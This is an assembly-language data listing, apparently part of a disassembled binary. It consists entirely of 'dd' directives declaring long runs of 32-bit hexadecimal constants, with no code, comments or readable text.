		dd 0A018692Eh, 1027277Ah, 1A4C72E7h, 0A15AE138h, 1030D764h
		dd 52F80C51h, 3F727CB2h, 0CA9299EAh, 0F92044E6h, 2D07B2FEh
		dd 568AE267h, 2EFCA74Bh, 126AEFD1h, 0E1E2FA38h,	0FFD72C8Eh
		dd 4F1044DFh, 64A85FC5h, 0FF4482Eh, 384E7FCAh, 7013BFD2h
		dd 0AB69D8AEh, 5BB8940h, 5725518Eh, 8DF38643h, 7CED810Fh
		dd 8109C95Dh, 0BF323B0Fh, 7FF1EC6Eh, 760680E6h,	18863F5h
		dd 0BCBEFA5Dh, 2E2C0948h, 0B1928185h, 3AF37BC5h, 13D085CBh
		dd 59CE0802h, 0D7CFB551h, 0CD81DB2Fh, 856997E9h, 0D102E1DBh
		dd 262E57E0h, 0AFAE5C7h, 44D8C43Fh, 616EBC1Ch, 0DA20D20Fh
		dd 64F2F960h, 0EFBD063Ah, 0B47D05E8h, 0FFC59251h, 0B02169F1h
		dd 9FC37E20h, 0A168C790h, 100D3B49h, 0B02D2158h, 200B8FF5h
		dd 53C4B450h, 0F6D009B7h, 0E50951DFh, 0FE9DE8F0h, 0A00472F5h
		dd 5B8EF25Fh, 60437001h, 40C64745h, 67BA5264h, 8B0115A8h
		dd 7809A8F4h, 51815C1Ah, 0CC8B2B53h, 32170315h,	0EF661278h
		dd 922CA2FEh, 0E1B900EAh, 0E955DF3Ah, 30D02C4Ah, 58ED3196h
		dd 3D19983Eh, 205D3FFAh, 76126F2Eh, 8CBF27C9h, 6A6BF692h
		dd 449A0119h, 1D2F4373h, 38200456h, 0CAD4BF2Eh,	2159080Fh
		dd 1AC768F5h, 9ED1603Bh, 4C4CDE1Fh, 935E3017h, 48590358h
		dd 6E299925h, 0C5DC176Fh, 45FB8F6h, 85B56E4h, 4F4AAA41h
		dd 0D60CA70h, 963E4738h, 0FD6CA559h, 37493AC6h,	34B800FDh
		dd 0F75DB530h, 130577D8h, 8943B735h, 63BF2E1Fh,	0A0E4EA85h
		dd 1209688Dh, 740A852Fh, 7244009Fh, 0EAC135D7h,	0CF2C7890h
		dd 0DEAF56DAh, 6BCA2FA3h, 0D66B68F3h, 0CB8D5893h, 96405881h
		dd 4A954F52h, 0EA9DFA2Ah, 5164730h, 0C152E307h,	0CEA3C3E6h
		dd 20733BA1h, 0A116F61Ch, 0AA000CE4h, 425A0BEEh, 5236C116h
		dd 7BDDD755h, 0F86A49C9h, 2F435803h, 7A26D85Ah,	18DA6F52h
		dd 685F5B23h, 4F98AC95h, 9CEF04C5h, 0B5095AF0h,	0DBC530BDh
		dd 76B601B5h, 0C15AF488h, 3CFA2BECh, 87251636h,	0FD1529FFh
		dd 2184BD2Fh, 0A1129126h, 23A32B47h, 29E95EC1h,	752AA6EFh
		dd 2755DD20h, 0B17E41A4h, 0D675FA2Bh, 0F744C219h, 0BD1765FCh
		dd 0AE82D3AEh, 5D9F2CEEh, 91FA4A85h, 204D5F34h,	323D7EDFh
		dd 0D02927DEh, 213E4008h, 9A35EB77h, 85EE850Ch,	0FD54BEA6h
		dd 0CBAE4BF3h, 0EDC109ABh, 0BA120005h, 0C409ECA5h, 0AE4EE9C8h
		dd 4ECB5B50h, 0B7FA81BFh, 6DB23A64h, 0C9FCE983h, 5A092E44h
		dd 38AB844Ah, 809EA315h, 0E968E08Eh, 62337673h,	0B87DBB08h
		dd 0E38B2D6h, 6866D2F6h, 5A777EA9h, 0E91A0CE7h,	0E8F718D4h
		dd 0EE5C5ED6h, 8C6F927h, 59172818h, 35B88FAEh, 6B81D4D2h
		dd 8604BF62h, 0CCAB0BA8h, 3D4AF9EAh, 709D50F5h,	48F8588Ah
		dd 1D51D110h, 5ECB5266h, 479AA370h, 7F39FB40h, 0B5E7C749h
		dd 0BFEB0446h, 8A8BD8BDh, 2BBD3F41h, 2C5C14EEh,	9EF15B2Dh
		dd 3BCAC943h, 3B96CFF5h, 1090F6BFh, 0BDE5AB5h, 0C1C56F4Fh
		dd 9F0E90Bh, 52F95C94h,	8CC967D6h, 6078D877h, 65BA2EFCh
		dd 295F5C12h, 0A6FE0D12h, 58013CEEh, 411341CBh,	1DAF890h
		dd 0FDEC22B9h, 9B8B030h, 28D436A0h, 4E462F7h, 0E3BE5E08h
		dd 0E9C80B3Dh, 9BAE2840h, 0E2CD55A7h, 0F614680Eh, 0E9C5FCFCh
		dd 1DFDAC1Eh, 0B0D2CA09h, 0E7028FB9h, 735D1FB4h, 45B69940h
		dd 0C3A5930h, 60A8220Bh, 9758A14h, 31091AE1h, 5358C7h
		dd 0A96147C5h, 0E9920A45h, 0AFDDC22Fh, 298684D5h, 8F2DAA12h
		dd 0CB4C728h, 0E9D7566Ah, 0A3CD0A31h, 93E7C1F3h, 0DDE3B044h
		dd 593D2C1Dh, 0D0AD381Ch, 7A5ED519h, 0CE3151F6h, 252AE981h
		dd 0D4913A41h, 746C8D93h, 6336DC1h, 0C9E02838h,	0F3308449h
		dd 0B2D379F8h, 9F563FEFh, 0A5FF2FF2h, 49677766h, 54C9F88Bh
		dd 6B1C807Bh, 0CA312502h, 9727BBFh, 0C05C5742h,	32A13516h
		dd 2888F32Fh, 0A703C251h
		dd 35635F45h, 0D10B51A3h, 0F626C9A8h, 336A085Ch, 820C101h
		dd 5C985749h, 0AAEE033Fh, 0B020155Bh, 45F1CE6h,	8CE9581Fh
		dd 2CA299AFh, 17C74260h, 30EA1EE8h, 3C4B683Fh, 86353BDh
		dd 73FD928h, 16F40622h,	0CAABF3A5h, 0ACA4B6Ch, 0F4C805Ah
		dd 419F09C9h, 75CE052Ah, 133F8E47h, 0B0E82B70h,	9B9CA986h
		dd 0D1FAE57Eh, 7253489Fh, 9042E0Bh, 517E0256h, 7A5A6660h
		dd 0CA7F6A0Ch, 0FCCF1145h, 0CDC2E11h, 86E70166h, 0A6320A0Dh
		dd 0CD0BE22Ah, 279858C5h, 80B3AE9h, 0E6C5E875h,	767F7E5Dh
		dd 104B8C1h, 3826CEF6h,	7BF18964h, 0C707D18Bh, 0C0083842h
		dd 6AC14D8Fh, 4F670ED4h, 0CA296005h, 0F5C5A5C2h, 36A10150h
		dd 42EE0422h, 32CB685Bh, 60608454h, 9062DE63h, 3DC9F35h
		dd 81BE0113h, 3FEDE9C2h, 0B6FB43C5h, 56952D5Dh,	0AFADB5ADh
		dd 191756CBh, 17B5F35Fh, 0C2B2CC20h, 8948ED5Bh,	59D8613Bh
		dd 0B98046D8h, 37644FC3h, 0CC8EB57h, 0EF6F17EAh, 1054AC20h
		dd 214BF06Ch, 400CED91h, 0EF0184FDh, 40CB3297h,	2519D8D4h
		dd 0EDD60C65h, 0E978A98Eh, 18707F63h, 52E7A833h, 0F51E0443h
		dd 0C7A07C8Dh, 0E8E3E4EBh, 4FE94DDDh, 0E91FE99Bh, 64462782h
		dd 0B731A900h, 352B050Eh, 9C197D9Eh, 0CA210CF3h, 0EC94EA57h
		dd 0B046A202h, 0B2F7616h, 84F60D18h, 0DC8EEB9Ch, 11E6AB5Bh
		dd 4BE70CD8h, 0BF46D441h, 81B996F8h, 2ACBD08h, 24823986h
		dd 30731444h, 13470360h, 485B8FBEh, 0D71CE936h,	0E96B125Dh
		dd 77A84A15h, 0C79940B5h, 14AC70DCh, 1D391BB2h,	406401Bh
		dd 3144DB4Eh, 0F861BBFDh, 502E0C7h, 0D136EBDDh,	1620BB2Ch
		dd 12E616BFh, 0CF430758h, 0F4B60FAh, 324EFC1h, 6D00CA47h
		dd 68708266h, 0CC2C4E45h, 724FCF04h, 8AD5E2C3h,	17E402FEh
		dd 4AE1E42Dh, 0B9D9CC3Ah, 0B3A8FE5Ah, 3090E7DDh, 96A15954h
		dd 4C0A3834h, 0C54E10DEh, 18F58100h, 2956BFC8h,	32CFEEA3h
		dd 5C50ACFBh, 29F0E030h, 2C22BCEEh, 3C4321DBh, 9308C628h
		dd 556885FCh, 24D2249h,	595F5FC6h, 557862BEh, 3B96524Fh
		dd 625DA1A0h, 0C21BDC52h, 0B7DE0Bh, 19657DBCh, 0FDF35A53h
		dd 365A3AB2h, 0F4CA578Fh, 3A36A30Dh, 25E97738h,	0AE45426h
		dd 3521314Ah, 0C1047FA8h, 0C20C9765h, 0EFBCF657h, 0FEF8ADA2h
		dd 0EA05208Fh, 0FCDDB5AEh, 7913101Fh, 0EDCA5359h, 0D1001848h
		dd 2D7A302Ah, 0E83A1B75h, 5AC8716h, 5430694Ch, 1A0603F6h
		dd 56EDF4E9h, 9D266455h, 832BA7Ah, 55ED7168h, 0B02F4F4Ah
		dd 0FEC59BC2h, 5C1F2DDBh, 0F562F10Dh, 262537Fh,	0FEF3BE7Ah
		dd 12BE46D3h, 0C0AC2B7Fh, 0CCC1B5CBh, 0D7E96E05h, 0FC781027h
		dd 0F24256BDh, 14580D56h, 6E4981D4h, 0BC42BD90h, 0FE994A4Bh
		dd 0F85F368Bh, 67E90CE9h, 0EC91B0BAh, 0DDE5BDF0h, 37106884h
		dd 8080B2AAh, 0CB1ADB05h, 0B92D0B48h, 3687132Eh, 3E07CAD8h
		dd 5BE91150h, 5EB5B2C8h, 708344BBh, 0C5D1FC1Ch,	36224BF4h
		dd 2ADF2880h, 0B6536485h, 0F1271BE1h, 4E2F64CBh, 0B836CC6Fh
		dd 0BF52C555h, 0B0C89CBFh, 4E12E5Ah, 0A23C672Bh, 0BBF701E5h
		dd 0C158D975h, 7F1FC93Fh, 32615F2Ch, 0B87EC39Dh, 7EEAACE9h
		dd 0B267B6E8h, 86A77B2Eh, 0EBD129B4h, 92B80D88h, 2F1FFC1h
		dd 0E8F40CADh, 0E90434ACh, 0F1B8950Bh, 4805AEC1h, 9ABAF422h
		dd 44487C9Fh, 8A88BF58h, 308FC585h, 75A3BFE3h, 0DD82011h
		dd 5D84F4E9h, 99A6087Ah, 390D7025h, 2497C035h, 23D7FA7Eh
		dd 91C02535h, 5BE90516h, 358BC08Ah, 0C93A30EFh,	3BA9855Dh
		dd 88FA786Dh, 57024743h, 13E93C75h, 277AFB2Bh, 5260455Eh
		dd 12076851h, 8C5AFB2Bh, 0D961F7BFh, 2999E904h,	1E0DCA2Eh
		dd 7DE71513h, 64A40E65h, 0D9DEDF42h, 3D86893Ah,	773B6B0h
		dd 2B102D26h, 0E4228C01h, 2B71E94Ch, 70776F23h,	2CD83AF2h
		dd 0F831277Eh, 0DD4BD0D4h, 5567466Eh, 2AC03F4Ch, 30E94071h
		dd 0EEBF7888h, 0CF26161Dh, 29127968h, 0B26977BEh, 2A54F5FCh
		dd 9883058Eh, 1DB6C938h, 0BE1C4A35h, 0C237B284h, 9FE8C08Fh
		dd 74A7B18h, 148AC4AEh,	3D2F6C08h, 29174B5Bh, 0BA9064EBh
		dd 8B6E4B8h, 7BAFD793h,	0F7140CE9h, 0BDB45C58h,	65044A13h
		dd 4C1D93BFh, 57C2B744h, 1016C0F4h, 0DF037BF2h,	874E31B1h
		dd 5609F760h, 896F17D1h, 12010BF8h, 0F5C63ADDh,	92250BF8h
		dd 4F22D61Eh, 0EDC75F04h, 0A5B32824h, 0F6C5F05Bh, 0F783CF83h
		dd 2701CCF9h, 4EDD59CBh, 0C0E92F51h, 74B541D8h,	0C7D173F1h
		dd 5A21ADFEh, 3E5A7CDBh, 0E65AE766h, 4CDF2FC3h,	9D199A66h
		dd 0E97322D5h, 590BFFF9h, 5DB68FF2h, 4F0F1AEAh,	48780054h
		dd 241C9F25h, 1FCA47E5h, 8740EF03h, 227E3558h, 786A8F25h
		dd 5FA89045h, 72DAE6Fh,	913BF8F9h, 6BE22057h, 0D73F3704h
		dd 3D82BF0Eh, 627F716Dh, 3F7B5722h, 15CF21C9h, 0C56A6E8Ch
		dd 0CFD0BE8Dh, 0B21FA7E9h, 319609B4h, 7606068Fh, 0DD970D92h
		dd 3930BD82h, 6159E95Ch, 4021F252h, 832C0AF6h, 7F8C883h
		dd 0AFB53059h, 0A40EE602h, 61965A1Eh, 361CDA07h, 18EC648Ah
		dd 40FA8BC8h, 427AB3B5h, 8AFCFB5Eh, 65DA7316h, 26221B1Ch
		dd 0BDD9B040h, 0D6A603B9h, 6F7DAD10h, 0D8A04FD3h, 7EA6857h
		dd 0BCB3F195h, 874C5984h, 0C4B8C930h, 4FA6FECBh, 67191042h
		dd 15A65BDBh, 28B89801h, 3E99316Ch, 6F4417F4h, 18C4BE8h
		dd 0A425E911h, 0F5C5226h, 12B25202h, 38B6AA66h,	59C3F49Dh
		dd 0E90B0A01h, 93DD6C9Ch, 78FC124h, 1F508433h, 0B2E04A7Fh
		dd 773B787Bh, 5C95F874h, 68165403h, 0C7F321BAh,	0A573ACD3h
		dd 5B0F8A01h, 76303707h, 5A327DB0h, 446F544h, 0B2DAA808h
		dd 254F7E01h, 960047D7h, 0B220A859h, 0B049F0C0h, 0B4DF3BF8h
		dd 29318B4Bh, 0CD19DE28h, 8E408125h, 9F026985h,	0D9FF935Dh
		dd 0D16B79C6h, 10C638Fh, 0B57E295Bh, 1B9BECAFh,	3EAC4EB7h
		dd 81A4FE29h, 31289686h, 2D9D2DDEh, 7F621F45h, 250C7A58h
		dd 61C251Ah, 9A8E4B89h,	0B034BF56h, 349FC006h, 354C2DE9h
		dd 8782AF59h, 7F41E478h, 0C814ACF0h, 768FFB12h,	0BF4D90Bh
		dd 0CFA077E9h, 2EA1E17h, 40C35F4Ch, 975F5A07h, 0CA3EBC04h
		dd 8F210A1Ah, 2B1DAD68h, 51C152ACh, 7E4F87E9h, 5C87F4F9h
		dd 6474D9F6h, 7D101B62h, 0DC654D9h, 0F0329263h,	0E00BB5C2h
		dd 25B54EDFh, 0D873C982h, 30985DADh, 22C0B3E7h,	0C33988B8h
		dd 0AF050775h, 0F5747E1Dh, 0A2992490h, 19BE2676h, 448600AFh
		dd 2852C527h, 27062D58h, 9C804FE9h, 8868B353h, 85BDA09h
		dd 2D27FCD1h, 0F124F5CEh, 5113E040h, 1A49A0ABh,	44EA0BC7h
		dd 608CEB86h, 0B2B933C3h, 1901277h, 2A10F11Ch, 2FFE1C94h
		dd 0AA8E10A1h, 8245BED8h, 7E43EF1Ah, 0D7B129D5h, 0DFE952D3h
		dd 0B1283D17h, 25470D3Ch, 6E1D440h, 79D511E9h, 95BED04h
		dd 0CC42D12h, 2466A9BBh, 8D1203EEh, 882CA5BCh, 470408F1h
		dd 109C762Fh, 0CF26641Ch, 0EB7696A9h, 0D0029C2Ch, 3FF780EFh
		dd 0AC98C685h, 0CC56965Fh, 0B88DBEFh, 909FB0E9h, 0E25D9419h
		dd 84C16246h, 0EDDCD987h, 80D13C3Ah, 0B1BB5341h, 9DAF5246h
		dd 0F7E8928Dh, 5F31A09Ch, 97F2D0Bh, 37F54CDh, 3AA07B6h
		dd 3A1E3804h, 90BE15C1h, 0D2F1F22Fh, 58BD39F0h,	4A82075h
		dd 17BFBE5Ah, 0F926E4B1h, 0DCE2235Eh, 545B2A81h, 54016F01h
		dd 0D9F7CA87h, 21208B0h, 18496568h, 0BEEE107Ch,	38317660h
		dd 13EBBE0h, 0F62B9FD6h
		dd 7E9AF6Dh, 368AC7A5h,	0A680D5ADh, 62523E5Eh, 0CD62AF90h
		dd 0F558C133h, 8B1E44Bh, 2A94E9BCh, 40B106B0h, 0BA1E2511h
		dd 0DC06F2Eh, 148D479Ch, 69050548h, 0C0EA7098h,	3AAEE961h
		dd 27F7ECBDh, 217CE560h, 4173146Ch, 7FA42A59h, 0B4500F3Bh
		dd 120C6831h, 0E640FBEBh, 0F5795BBh, 5AE04538h,	19123FFh
		dd 0C59CC4CBh, 1B240491h, 515804C8h, 0C23FF2AEh, 0D11A5668h
		dd 35EC8424h, 7B708184h, 0F01064E2h, 0C3045E73h, 1B216853h
		dd 1616F7B3h, 0D1892005h, 11168051h, 6F10DE01h,	48E90908h
		dd 93947D59h, 228B5D4Fh, 0D53CA179h, 734DEAC8h,	38817B87h
		dd 7C3B1722h, 0F2C0087Bh, 0F1022853h, 0C256A94Eh, 9CDC23Bh
		dd 0D1F28208h, 0BF0F0061h, 0D1B551C8h, 5259621Eh, 2A6E6440h
		dd 0DE35FD2Dh, 7D700461h, 462D046Ch, 0EB93C0AEh, 6223CCEh
		dd 0D1012F22h, 75E92718h, 3CB9234Bh, 0B1FE9B0h,	3DD489Fh
		dd 58537A48h, 0C58BC654h, 0F0E58670h, 21FC2845h, 0C312769h
		dd 1265904Ch, 0AE1B7FE6h, 5DE9D0F4h, 0BB02C21Eh, 429B76FDh
		dd 0D69D6A60h, 29F99013h, 6E472DEBh, 8797E6F8h,	54943EAAh
		dd 1D991910h, 78D6D328h, 4866F0A0h, 0A285159h, 3C1C969Ch
		dd 0AAB35BBBh, 38B2E90Eh, 1C8861D4h, 31DC2FABh,	43480902h
		dd 4D00DF4Ch, 142684Dh,	5BC2791h, 15055DF9h, 127194ECh
		dd 0AB251B0Dh, 0E79E4873h, 0D529A281h, 0EDA5E678h, 0EF01E07Ah
		dd 6A5E2DE9h, 226261F4h, 0C98EC8D6h, 49A90D62h,	2E0BCBBFh
		dd 10548E0h, 37B2235Ch,	462DF801h, 45958107h, 0FD680509h
		dd 5868BA79h, 0DF685951h, 5FD3B896h, 53CF8Ch, 78B6857h
		dd 0E95F7A03h, 168E3F5Dh, 0D222E188h, 10D5819h,	0A4CD814Dh
		dd 502FB96Bh, 0F15016B8h, 6E59E9FAh, 0E466229h,	0CF0902DDh
		dd 1E35965Fh, 920205B8h, 43C2D210h, 5F71895Dh, 0CCAB78B8h
		dd 88265197h, 0C526C157h, 0F839093Fh, 47AC001Eh, 4C2F3A08h
		dd 236E7AE9h, 3037B9C1h, 0DC892043h, 0C628F983h, 951D9AF4h
		dd 34EFFB69h, 0E976630h, 0EAE192E9h, 0F05D0813h, 3868EF87h
		dd 0BE5F608Ch, 0E7B8C464h, 9C20D4A6h, 95D9B5D1h, 4FD98749h
		dd 2F3C0EDAh, 0DDF2892Eh, 0E9057FE7h, 20BEA1CAh, 0C269906Ah
		dd 5D65648h, 0FEB10FA2h, 0B6A609EBh, 0BF66C040h, 0A66BB428h
		dd 359C2FFDh, 67F07D29h, 0F7D80A5Eh, 31BDA655h,	0F7E8012Fh
		dd 74FDFC90h, 456C11A0h, 640505FCh, 0A323E903h,	0BF5729D0h
		dd 872016B9h, 8FDE0165h, 61591E30h, 0CCACC9Ah, 160B3EFBh
		dd 1F16FD89h, 0DDFD215Bh, 1A1B0A05h, 0AA7AC543h, 64B28FD7h
		dd 0B4F4DBA0h, 0D4C18707h, 4C41BDFDh, 0AEE34B18h, 2D8B9B48h
		dd 607FDB62h, 0BAF0E05h, 0F231B766h, 0B37080DDh, 0EE73D842h
		dd 4FEE48C1h, 2377E602h, 1F74950h, 0C4CEE92Ch, 0C5E4499h
		dd 0A190A066h, 85FF932h, 0A0BFD1C8h, 618899B0h,	2EEDF8E9h
		dd 2C6ECAD0h, 200190DDh, 0D7B0A866h, 576E88FBh,	60582FBDh
		dd 4E0496C4h, 0D3C882h,	0C95C36BAh, 0EAD14812h,	82476416h
		dd 0F72FE88h, 423FDC39h, 0A6F1FB02h, 1F8E448Dh,	25680730h
		dd 15D15C98h, 5A5E1480h, 0CC78123h, 0A543D3Ah, 6414B60Ch
		dd 4F8D251h, 120D4C2Eh,	13705480h, 0A61D602Bh, 0DFBBE907h
		dd 0BF324495h, 0E1D95E63h, 4FDF2DD6h, 4E6EC8B0h, 5A1744F0h
		dd 0F3A7BEDDh, 2E134175h, 5CA231A8h, 0E962275Eh, 0BA166855h
		dd 0C2B112CCh, 993A5496h, 0B6109305h, 0DBD4FB28h, 505F0804h
		dd 108CF2BEh, 5AE15Eh, 0A96532ABh, 0BA045958h, 6D1264D4h
		dd 9ED505AFh, 0B41FA8B1h, 0FE6F2982h, 29FC2D37h, 9E56055Bh
		dd 425153Ch, 0BB390D5Ch, 5A1414CCh, 817630D5h, 2F1727F6h
		dd 961675A0h, 5C1CCBABh, 8868833Ah, 0EFD1272Fh,	5F5E58F8h
		dd 9B1043DFh, 759873D0h, 43167533h, 25EFC4A4h, 5EAAFCD5h
		dd 0E8E1E2ECh, 2CAF2F5Dh, 0F14BA4D3h, 52B231C8h, 0BF4F9ED4h
		dd 25116D3Dh, 0C6386BE9h, 0E1106558h, 25785DC7h, 0EE235D66h
		dd 1C09ACA6h, 0F434E368h, 88A061C5h, 0EE690CEh,	0F558BF02h
		dd 85FC5BDBh, 6583923Eh, 0C8041F52h, 0ADBB13A0h, 8FC64A4h
		dd 290154EBh, 7F193D78h, 4431E393h, 0AB5FFE6Ch,	0DDAA7016h
		dd 0B0B42A0Eh, 2709BD7Eh, 2D5E16DDh, 925951A7h,	781581BCh
		dd 50E93927h, 20827AE6h, 285BC28Eh, 0FA0C65BEh,	0E4EE3994h
		dd 875EFB2Eh, 9142F089h, 67D15D19h, 8B797D52h, 94E89844h
		dd 4ECA2113h, 920308EDh, 3ABE5242h, 0FF236A0Ch,	0A2C11E6Bh
		dd 2FC14407h, 53397B53h, 0B69B7887h, 0F7E640B8h, 5697D014h
		dd 483425C9h, 81EE6D58h, 99A06F49h, 46E512FAh, 0D3DBA201h
		dd 688243B2h, 45F571C3h, 492826B0h, 0C749D9D7h,	0A0DDFBE9h
		dd 83BF662h, 2EC94C4Ch,	9F12AF4Ah, 41AF8501h, 0C6F053A6h
		dd 0E0222EADh, 16CE0195h, 603E486Ah, 3017653Fh,	0B808795Fh
		dd 125D1298h, 0EAF30E36h, 0B82FF874h, 40B10F9h,	89AF795Bh
		dd 185DA568h, 20E95400h, 594A74D2h, 35E409ECh, 63E4AB82h
		dd 1496C0h, 0D5200FBBh,	1702BE21h, 3140437Bh, 46E851DEh
		dd 3402D84Eh, 56320A40h, 51268250h, 6680320h, 731DD2E4h
		dd 7927EEDEh, 0EB3758D9h, 0D508AEB1h, 0B65207DCh, 80CEB04Bh
		dd 0FDA1A9E6h, 0DE28033Bh, 40E7959Eh, 0E493E986h, 3080762Ah
		dd 682F6677h, 9FC45D96h, 0EE13EF7Dh, 0A7FA63C5h, 5E04D5BFh
		dd 0E98259B3h, 1CF7AED7h, 65499D37h, 70F3E1DDh,	56185327h
		dd 81145E5Bh, 917401F5h, 7FE9D01Eh, 2BCE6AC1h, 0D420FD4Ch
		dd 0A2DC682Dh, 47EE344h, 140C231h, 99C2AD5h, 0B71F1A10h
		dd 0C0C781AFh, 0D58003EFh, 0ABDEFC01h, 73D69B5h, 8033B83Fh
		dd 598092C6h, 9E23B81Fh, 0CEBD01D0h, 3019672Dh,	415E8FC1h
		dd 63C99FACh, 2AB81CE1h, 0F62A26C9h, 1259351Ah,	15DE4401h
		dd 0A6597CA4h, 2E00757Ch, 40B9184Bh, 0E74FB4D1h, 4BB1784h
		dd 0B23BBAE0h, 8DA84FA7h, 0B65D5F9Ah, 77CD20B8h, 4506BF71h
		dd 0EFC17C26h, 5C7895F2h, 0EC3B441Fh, 7B7C471Ch, 0B9024F0Bh
		dd 9902DD15h, 4B44D033h, 4EE3DB3Bh, 2B21BC65h, 0B62F5473h
		dd 82A3DD52h, 0FF0140E9h, 6D903F4Ch, 6CECEB2Dh,	0BDD6E083h
		dd 83BE66C8h, 0D8D27127h, 254E7F2Eh, 9EE6A9B1h,	70ED6816h
		dd 0D76328BFh, 17CC3F0Eh, 982C3E43h, 0FB13E982h, 0FD1277FEh
		dd 2D01F2D1h, 2B3B69F4h, 74F102Fh, 3C7EB57Ch, 0A5F5CA3Ah
		dd 82F6082h, 17412B31h,	0A08A7F3Eh, 0C1F8C31Ch,	9DE951EBh
		dd 0B5A87BE5h, 65FB5B85h, 0BB12EA19h, 94C45BE8h, 84C7AD7Ch
		dd 32C2EB89h, 0D76801D2h, 8AD32F39h, 0D32C5891h, 80E3A831h
		dd 727C20C1h, 802BE841h, 3727795Eh, 28062948h, 5A5808C7h
		dd 0D95C129Eh, 0CB842CF9h, 1E8A10C7h, 8A525551h, 0DB395F0h
		dd 37E380BCh, 0CBFEE4ECh, 0A318BBB6h, 3DB8DFh, 2D4D1147h
		dd 0FA41DF8Ch, 575A23FEh, 0A9954DFDh, 3CB3B10h,	2813B050h
		dd 0F3C21EC3h, 5A60FB4Eh, 0A7E9AAB1h, 0BFE800BDh, 2506320Fh
		dd 0E660093Ah, 0F495F624h, 8C4C9F2h, 0AC845D4Fh, 0AF0A39C0h
		dd 0D0011434h, 444A072Dh, 0BA296414h, 90ED61DDh, 4CF61C24h
		dd 523D2DD7h, 0D303AB2Fh, 0FCC1F205h, 7455D611h, 9D9820CAh
		dd 528DF763h, 68AB2176h, 16416DC6h, 7B3B71Eh, 2065502Fh
		dd 17E47325h, 6A65E112h, 0F296BEE9h, 400976FDh,	8F2375AEh
		dd 0F85ED0AFh, 0FB011353h, 81EF35FEh, 2E85F073h, 0A54F0C8Bh
		dd 68B92074h, 7274412Eh
		dd 0A3F4D22Dh, 0CCFFE92Dh, 960CBD3Fh, 60A4EAB8h, 0A69CE9C9h
		dd 581DFE9Fh, 654D9E68h, 6B52CF2Bh, 0F4A86244h,	0BFE95097h
		dd 33ED8D5Eh, 0AC96859Eh, 76CAFBFEh, 0C932737Dh, 0B2FF5A2Eh
		dd 0B9A37597h, 82AC58C6h, 3A435965h, 634D9DBh, 7AC116F1h
		dd 0EA0456B2h, 0B60C89B0h, 48F1814Eh, 0AD27F658h, 4F1D6326h
		dd 0A1C9F9DFh, 0E801C728h, 0DABF800Dh, 200BF2D6h, 49EA0153h
		dd 6B1BA9B0h, 0DE11200Ch, 810B5A74h, 82A414D3h,	6E9AD9h
		dd 5BFD8A51h, 0FC92B09h, 8BF06880h, 11ECC0DAh, 35058523h
		dd 5F06220Eh, 791E689h,	0A440970Eh, 7712A018h, 25238B0Fh
		dd 0AC1A00F9h, 896DBED6h, 2C60299Dh, 9C21EF33h,	8B4B0E3Dh
		dd 0B56357C6h, 1E670F9Dh, 0ECF0AEAh, 912F9D9h, 1F8669F9h
		dd 0CE02E983h, 0FB49C738h, 73098A37h, 38763h, 0E2D0800Dh
		dd 9218F981h, 850C38BCh, 18B41F12h, 0F1BE92Ch, 6400540Ah
		dd 92D0C044h, 629E621Ah, 0E9DF6427h, 0AE90A46Bh, 1B006BE8h
		dd 96415DFDh, 0EDEF153h, 6CEA6A65h, 32026D40h, 0E001BCABh
		dd 19CE9410h, 0F1E4664Bh, 0BAA70734h, 1E9811F6h, 6AD2007Fh
		dd 0B6AA32FBh, 0CA0CF903h, 14DF19D6h, 4DEAD50h,	763053FCh
		dd 0E51510E7h, 0B38E000Fh, 0AB4336C7h, 0DF00CEDEh, 536C0357h
		dd 0C63B874h, 11871669h, 22842229h, 60425A5Dh, 21133211h
		dd 5BB7080Eh, 0B0844C90h, 80FA4814h, 6297BF9Eh,	0C005704h
		dd 73EF7016h, 81C88Eh, 1C42A3D9h, 0D6725943h, 5239D000h
		dd 0B7CD49EFh, 5DB600A0h, 0F712172Ah, 0CB002E94h, 4002065Ah
		dd 0E7A6FDh, 69392886h,	60B01838h, 21D6D4FDh, 0DA4E1700h
		dd 6F317799h, 27C500BAh, 0FEFAE75Ch, 1403D648h,	0D8372D9Bh
		dd 0AEE698CDh, 0F73ACh,	82225F55h, 0B35C63EEh, 0BEB7B10Fh
		dd 0C3809EBFh, 0E97BED51h, 0CA6601C7h, 48605296h, 846FE828h
		dd 0C591CE02h, 40DDF041h, 0ECE197h, 60C71A0Bh, 0D1FCC2DBh
		dd 2AE60100h, 4B149478h, 77FF26Dh, 428E156Eh, 0F3369086h
		dd 0B3007398h, 25FB828Dh, 60B71Ah, 0C950714Dh, 0C26F0DAh
		dd 18761100h, 94EE4BE6h, 6DBBA188h, 4F0420h, 0B6859D72h
		dd 21FA110Ah, 9179A200h, 0C7DF349Ah, 44CE00F3h,	0E61B9661h
		dd 400013BFh, 0B585533Fh, 1EEBE3ACh, 407D2747h,	0F6333C83h
		dd 0CB00FB28h, 2DCA9C1Fh, 9E6B56h, 7804D9F1h, 0B1A01AA7h
		dd 0C37ACC00h, 2DF67972h, 4DAB0E19h, 0EDE08809h, 18FBB511h
		dd 506739h, 3C44B8AEh, 0AB8471h, 2E6F2710h, 95BAC445h
		dd 12ADC900h, 0AC8D4AD7h, 1EA30224h, 0E5747D54h, 59AF6C40h
		dd 132639h, 824799F2h, 0DF028Ah, 55681BF9h, 6AD1B754h
		dd 7324D300h, 0CC8A6FEBh, 0BAE4007Eh, 52480F39h, 0B200A8B4h
		dd 3380C9C8h, 88F751h, 9D5985EEh, 539FE424h, 0F5977200h
		dd 374CBEC8h, 0FA1C00F6h, 526A6991h, 3A00EC6Dh,	2FDA8AF9h
		dd 0A5B13h, 7CA8DF39h, 0B4146280h, 3AFB9101h, 0B2E029FDh
		dd 0B0CD1A61h, 7AA7D424h, 391800E1h, 0A1A395E5h, 0CF0FF4A4h
		dd 2F9A8C76h, 354080F1h, 166AC38h, 1D1FC1F8h, 0FC6BA021h
		dd 0CE00498Ah, 782BB5E5h, 0E65A876Eh, 0AEF500B0h, 15F2FD9Bh
		dd 170EB3DEh, 0E0030A22h, 0FA29A950h, 7ED40083h, 0F269EF95h
		dd 86266DF5h, 64001CB3h, 8992310Dh, 3A97066Eh, 996A8CB7h
		dd 94B54C06h, 11051Fh, 0F60B46A9h, 0E8CBEF41h, 0FEAD1800h
		dd 0C08D9C6h, 6BF85Fh, 187808Ah, 0A23750AFh, 23F68200h
		dd 48BF89DCh, 76310FD1h, 0A680CB98h, 6110655Bh,	9B2C680Fh
		dd 38EBA0ABh, 901A472Fh, 0B51B002Eh, 0FA8325C7h, 0DFE22A2Ch
		dd 0D1F9A607h, 0E01EED08h, 4B8B154Dh, 8E8A0085h, 0C4CE1765h
